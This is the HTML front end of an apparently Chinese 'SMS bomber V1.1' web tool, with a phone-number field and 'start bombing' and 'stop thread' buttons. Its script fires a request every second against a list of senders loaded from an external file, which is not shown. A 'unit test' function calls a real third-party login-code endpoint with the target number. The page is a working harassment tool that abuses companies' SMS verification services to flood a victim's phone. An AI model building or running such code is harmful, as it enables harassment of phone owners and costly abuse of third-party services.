<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>短信boom</title>
<style>
* {
  margin: 0;
  padding: 0;
}
body{
	-webkit-user-select:none;
	-moz-user-select:none;
	-ms-user-select:none;
	user-select:none;
	}
.gradient {
    background: linear-gradient(-45deg, #ee7752, #e73c7e, #23a6d5, #23d5ab);
    background-size: 600% 600%;
    animation: gradientBG 5s ease infinite;
  }
  @keyframes gradientBG {
    0% {
        background-position: 0% 50%;
    }
    50% {
        background-position: 100% 50%;
    }
    100% {
        background-position: 0% 50%;
    }
  }
	.div1{
	height:60px;
	width:1500px;
	margin-left:10px;
	position:inherit;
	margin:auto;
		}
	  .ribbon{
            display: inline-block;
        }
        .ribbon::before{
			width:220px;
            margin-top: 8px;
            content: "";
            border: 24px solid #333;
            border-left-color: transparent;
            float: left;
        }
        .ribbon::after{
			width:780px;
            margin-top: 8px;
            content: "";
            border: 24px solid #333;
            border-right-color: transparent;
            float: left;
        }
        a{
            float: left;
            height: 56px;
            text-decoration: none;
            overflow: hidden;
        }
        span{
            margin-top: 8px;
            color: #fff;
            line-height:48px;
            padding: 0 16px;
            background: #333;
            display: inline-block;
            position: relative;
            transition: all 0.3s;
        }
        a:hover span{
            margin-top: 0;
            background: #666699;
        }
        span::before{
            content: "";
            position: absolute;
            top: 48px;
            left: 0;
            border-right: 8px solid #666699;
            border-bottom: 8px solid #333;
        }
        span::after{
            content: "";
            position: absolute;
            top:48px;
            right: 0;
            border-left: 8px solid #666699;
            border-bottom: 8px solid #333;
        }
		.div3{
	height:50px;
	width:1500px;
	padding-top:10px;
	margin-left:10px;
	position:inherit;
	margin:auto;
	font-size:36px;
	background-color:#333;
	text-align:center;
	color:#FFF;
			}
		.div4{
	background-color:#333;
	height:600px;
	width:1500px;
	margin-left:10px;
	position:inherit;
	margin:auto;
	padding-top:50px;
		}

		</style>
</head>
 <meta http-equiv="Access-Control-Allow-Origin" content="*">
 <link href="js/plug/bootstrap/bootstrap.min.css" rel="stylesheet">
    <script src="js/plug/jquery/jquery-3.4.1.min.js"></script>
    <script src="js/plug/bootstrap/bootstrap.min.js"></script>
    <script src="js/plug/crypto/crypto-js.js"></script>
    <script src="js/index.js"></script>
<body class="gradient">
<div class="div1"><div class="ribbon">
<a href="index.html"><span>首页</span></a>
        <a href="API.html"><span>百度地图</span></a>
         <a href="jikeyingjian.html"><span>硬件介绍</span></a>
        <a href="xitongguazai.html"><span>系统挂载</span></a>
        <a href="kali.html"><span>kali实战</span></a>
       <img src="js/assets/img/t.png" height="45px" width="45px" style="border-radius:65px; float:right; margin-top:8px; User-select: none; -webkit-user-drag: none">
    </div></div><div style=" height:400px; width:1500px; margin:auto; background:#408080;">
    <div style=" height:320px; width:900px; margin:auto">
    <div style="height:200px; background:#CCC">
  <div class="card  border-1 m-auto"background:#CCC">
    <div class="card-body pb-0">
      <div class="alert alert-success mt-3 text-center mb-0 p-2" id="msg" role="alert">
        <div class="card  border-1 m-auto"background:#ccc">
          <div class="card-header bg-danger text-white" style="line-height: 60px">短信轰炸机 V1.1 <img src="js/assets/img/t.png" class="float-right" width="60" height="60" style="border-radius: 50%">
          </div>
          <div class="card-body pb-0">
            <div class="input-group mb-3">
              <div class="input-group-prepend"> <span class="input-group-text">手机号</span></div>
              <input type="text" class="form-control" placeholder="" id="phone">
            </div>
            <button class="btn btn-success" id="start" onClick="send()">开始轰炸</button>
            <button class="btn btn-danger" id="'end" onClick="end()">停止线程</button>
            <button class="btn btn-primary float-right" onClick="test()">单元测试</button>
            <div class="alert alert-success mt-3 text-center mb-0 p-2" id="msg2" role="alert">准备轰炸</div>
          </div>
          <span class="w-100 text-center p-1" style="font-size: 20px">
            <center>
              Hashcat
            </center>
          </span></div>
      </div>
    </div>
  </div>
</div>
</div> 
</div>
        
    <script>
    var timer = null
    var index = 0

    // 开始发送
    function send() {

        $('#start').attr('disabled', true)
        $('#phone').attr('disabled', true)

        var phone = $("#phone").val()

        if (phone.length != 11) {
            $('#msg').text('请输入正确的手机号')
            return
        }

        $('#msg').text('正在向:' + phone + '发送')
        $('#msg').show()

        timer = setInterval(function () {
            if (index >= requestList.length) {
                index = 0;
            }
            requestList[index++].fn(phone)
        }, 1000)
    }

    // 停止发送
    function end() {
        $('#start').attr('disabled', false)
        $('#phone').attr('disabled', false)
        $('#msg').text('准备轰炸')
        clearTimeout(timer)
    }
    function test(phone= '') {
        $.ajax({
            url: 'https://editor.588ku.com/site-api/send-tel-login-code',
            type: 'GET',
            data: {
                num: phone,
            },
            async: false
        });
    }

</script>
<div style="height:80px; width: 1500px; background-color: #333; margin:auto; padding-top:10px;"><script>
        Date.prototype.format = function (fmt) {
            var o = {
                "y+": this.getFullYear, //年
                "M+": this.getMonth() + 1, //月份
                "d+": this.getDate(), //日
                "h+": this.getHours(), //小时
                "m+": this.getMinutes(), //分
                "s+": this.getSeconds() //秒
            };
            if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
            for (var k in o)
                if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
            return fmt;
        }
        setInterval("document.getElementById('dateTime').innerHTML = (new Date()).format('yyyy-MM-dd hh:mm:ss');", 1000);
    </script>
 
    <div style="font-family:'仿宋'; margin:auto; width:600px; height:70px; font-size:30px; color:#FFF; margin-left:600px; margin-top:10px"><div id="dateTime"></div></div>
</div>

</body>
</html>
